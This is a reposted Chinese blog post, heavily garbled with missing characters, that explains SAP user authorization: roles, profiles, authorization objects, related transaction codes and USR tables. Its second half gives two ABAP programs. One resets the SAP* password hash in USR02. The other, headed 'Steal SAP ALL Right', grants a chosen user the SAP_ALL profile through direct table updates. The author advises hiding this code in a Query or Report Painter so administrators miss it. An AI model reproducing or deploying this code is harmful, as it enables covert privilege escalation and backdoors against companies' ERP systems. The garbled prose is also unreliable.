SAP 用户权限解剖

通常basis会使用PFCG

限管理你保存生一个系外的prifile name, SU01profile role?系如何呢? [@more@]

首先明白几个概念.
1.activity
这样说,activity,activity是什意思个你下字典也就知道了,就是定可做什么动,比如不能吸烟只能喝酒,不能多于2,,是我老婆,SAP不是这样子的,是只能insert, update,display.西当年德国佬是写在tobj表中的.
activity
也是可分activity group.

2.activity category &Authorization group
Role Vs Profile
你看看表T020就知道了,就是什K,D, A, M.

profile是什?实际上可以理解所有的authorization data(有很多authorization group--{你可使用OBA7填写,限太也不是好事^_^}activity)的一个集合的名字,通常一个自定role生一个profile,SAP限控制是根据profile里的authorization data(objects)来控制的.

role又是什?role只是一个名字而已,然后将profile, 比如你SU01建立一个用,我没有任何role,但是加如SAP_All profile也是可做任何事情.
SAP
本身有很多default role & profile.


3.
最常用的PFCG->authorizations->change authorization data->入后selection criteria 可看到所有的authorization object
manually
可手工加authorization object,比如你使用某个t-code限出错误,abap使用SU53检查就知道缺少哪个authorization object,然后手工加入就可以.authorization levels就可by account type.有些甚至直接到表字段.而且你甚至可給一个object分配buffer.

SAP是如何做到限控制的呢,屠夫就用到小宰一下.

4.限方面的几个t-code.

()Role(角色)T-code:
PFAC

PFAC_CHG

PFAC_DEL

PFAC_DIS

PFAC_INS
新建
PFAC_STR
PFCG

ROLE_CMP

SUPC
批量建立角色profile
SWUJ
测试
SU03
检测authorzation data
SU25, SU26
检查updated profile
(
)建立用T-code:
SU0
SU01
SU01D
SU01_NAV
SU05
SU50, Su51, SU52
SU1
SU10
批量
SU12
批量
SUCOMP:
维护公司地址
SU2 change
参数
SUIM
信息系户组
SUGR:
维护
SUGRD:

SUGRD_NAV:
维护
SUGR_NAV:


(
)profile&Authoraztion Data
SU02:
直接profile不用role
SU20:
Authorization Fields

SU21(SU03):****维护Authorization Objects(TOBJ,USR12).于凭你可分到:
F_BKPF_BED: Accounting Document: Account Authorization for Customers
F_BKPF_BEK: Accounting Document: Account Authorization for Vendors
F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts
F_BKPF_BLA: Accounting Document: Authorization for Document Types
F_BKPF_BUK: Accounting Document: Authorization for Company Codes
F_BKPF_BUP: Accounting Document: Authorization for Posting Periods
F_BKPF_GSB: Accounting Document: Authorization for Business Areas
F_BKPF_KOA: Accounting Document: Authorization for Account Types
F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy
然后你,些个西是saveUSR12表中的. DBUTAB.

具体transaction code:
SU22,SU24
SU53:***
就是你出用来检查没有那些authoraztion objects.
SU56:
分析authoraztion data buffers.
SU87:
用来检查变产生的history
SU96,SU97,SU98,SU99:
?
SUPC:
批量role

DBlogical:
SUKRI:Transaction Combinations Critical for Security
tables:
TOBJ : All avaiable authorzation objects.(
全在此)
USR12:
户级authoraztion
-----------------------------
USR01:
主数据
USR02:
在此
USR04:
在此
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:
当前用
USREFUS:
USRBF2
USRBF3
UST04:User Profile
在此
UST10C: Composite profiles
UST10S: Single profiles (
角色对应
UST12 : Authorizations..............................

..............................如何窃取 ..............................

:
User type
户类型。通常的用户类型有
a.dialog (
就是normal user)
b.communication
c.system
d.service
e.reference.

通常你在使用任何T-code前一定会有检测.AUTHORITY_CHECK:个函数只是小检查一下你的user有没有,么时.
**
如果coding只要使用此函数就.
AUTHORITY_CHECK_TCODE:
检查T-code

倆函数是真正检查autorization objects
SUSR_USER_AUTH_FOR_OBJ_GET
AUTHORIZATION_DATA_READ_SELOBJ


-------------------------------------------------------

SAP*的密改成123的程序,简单.找到那个user logonUSR02.(DF52478E6FF90EEB经过SAP加密保存在DB,哪位老兄研究SAP的密加密?)
report zmodSAP*.
data zUSR02 like USR02 .
select single * into zUSR02 from USR02
where BNAME = 'SAP*'.
zUSR02-Bcode = 'DF52478E6FF90EEB' .
Update USR02 from zUSR02 .

在的问题是如何你那basis发现,简单,code藏在Query里面,就是你做一个query,query是会code,然后你加入此代,能想到???然后你就等你的basis去哭...

这样做太狠毒了.是自己偷偷搞自己的用.在此你必须对权构非常清晰.限和三个表有.
a.USR04
b.USR04
c.USRBF2
个表是对应到所用的authorzization objects.
*&---------------------------------------------------------------------*
*& Report : Steal SAP ALL Right *
*& Creation Date : 2004.04.01 *
*& Created by : Stone.Fu *
*& Description :
可窃取SAP ALL *
*& Modified Date : 2005.11.02
*& Description :
将此code hidereport painter or query code *
*&---------------------------------------------------------------------*

report zrightsteal.
data zUSR04 like USR04 . "????????work area??
data zUST04 like USR04 .
data zPROFS like USR04-PROFS.
data ZUSRBF2 like USRBF2 occurs 0 with header line.
"USRBF2?????internal table
** Update Authorization table USR04.
select single * into zUSR04 from USR04
where BNAME = 'ZABC2'. "SAP All

move 'C SAP_ALL' to zPROFS .
ZUSR04-NRPRO = '14'.
zUSR04-PROFS = zPROFS.
Update USR04 from zUSR04 .

**Update User authorization masters table UST04 .
select single * into zUST04 from UST04
where BNAME = 'ZABC2'.
zUST04-PROFILE = 'SAP_ALL'. "SAP all

Update UST04 from zUST04 .

*?????insert
*ZUST04-MANDT = '200'.
*ZUST04-BNAME = 'ZABC2'.
*ZUST04-PROFILE = 'SAP_ALL'.
*Insert UST04 from ZUST04 .

select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZABC2'.
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

自己建立一个ztest它任何限然后在test machinerun zrightsteal. 然后ztest就是SAP_ALL

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/8214011/viewspace-910663/,如需转载,请注明出处,否则将追究法律责任。

转载于:http://blog.itpub.net/8214011/viewspace-910663/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值